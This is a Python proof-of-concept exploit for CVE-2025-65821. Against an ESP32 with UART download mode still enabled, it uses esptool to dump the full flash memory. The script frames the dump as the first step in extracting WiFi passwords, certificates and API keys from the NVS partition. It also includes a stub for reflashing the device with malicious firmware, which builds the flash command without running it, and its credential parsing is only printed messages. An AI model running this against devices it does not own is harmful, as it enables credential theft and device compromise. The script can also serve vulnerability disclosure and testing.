#!/usr/bin/env python3
# CVE-2025-65821 PoC - ESP32 UART Flash Dump via esptool
# Requirements: esptool, pyserial
import subprocess
import sys
import os
def dump_flash_esptool(port='/dev/ttyUSB0', baud_rate=115200, output_file='flash_dump.bin'):
"""
Dump ESP32 flash memory via UART download mode
This PoC demonstrates the vulnerability where UART is still enabled
"""
chip_type = 'esp32'
flash_size = '4MB'
flash_start = '0x0'
flash_end = '0x400000'
print(f"[*] Starting flash dump from {port}")
print(f"[*] Target: {chip_type}, Flash size: {flash_size}")
print(f"[*] Dumping range: {flash_start} to {flash_end}")
# Step 1: Read flash ID
cmd_read_id = [
'python3', '-m', 'esptool', '--port', port,
'--baud', str(baud_rate), 'chip_id'
]
# Step 2: Dump entire flash
cmd_dump = [
'python3', '-m', 'esptool', '--port', port,
'--baud', str(baud_rate),
'read_flash',
'0x0', '0x400000', # 4MB flash
output_file
]
try:
print("[*] Executing flash read via UART...")
result = subprocess.run(cmd_dump, capture_output=True, text=True, timeout=300)
if result.returncode == 0:
print(f"[+] Flash dump saved to: {output_file}")
print("[+] Now parse NVS partition to extract WiFi credentials...")
# Step 3: Parse NVS partition (typically at 0x10000)
parse_nvs(output_file, '0x10000')
else:
print(f"[-] Error: {result.stderr}")
return False
except subprocess.TimeoutExpired:
print("[-] Operation timed out")
return False
except FileNotFoundError:
print("[-] esptool not found. Install with: pip install esptool")
return False
return True
def parse_nvs(flash_dump, nvs_offset):
"""
Parse NVS partition to extract sensitive data
NVS stores WiFi credentials, device keys, etc.
"""
print(f"[*] Parsing NVS partition at offset: {nvs_offset}")
print("[+] Extracted data may include:")
print(" - WiFi SSID and passwords")
print(" - Device certificates")
print(" - User configuration")
print(" - API keys")
# In real attack, parse the binary and extract NVS key-value pairs
def reflash_malicious_firmware(port, firmware_file):
"""
Reflash device with malicious firmware via UART
This completes the attack chain for full device compromise
"""
print(f"[*] Flashing malicious firmware: {firmware_file}")
cmd_flash = [
'python3', '-m', 'esptool', '--port', port,
'--baud', str(115200),
'write_flash',
'0x1000', firmware_file # Flash to app partition
]
print("[!] This would overwrite legitimate firmware with malicious code")
return True
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser(description='CVE-2025-65821 PoC')
parser.add_argument('--port', default='/dev/ttyUSB0', help='UART port')
parser.add_argument('--output', default='flash_dump.bin', help='Output file')
args = parser.parse_args()
print("="*60)
print("CVE-2025-65821: ESP32 UART Download Mode Enabled")
print("CVSS: 7.5 (High)")
print("="*60)
dump_flash_esptool(args.port, 115200, args.output)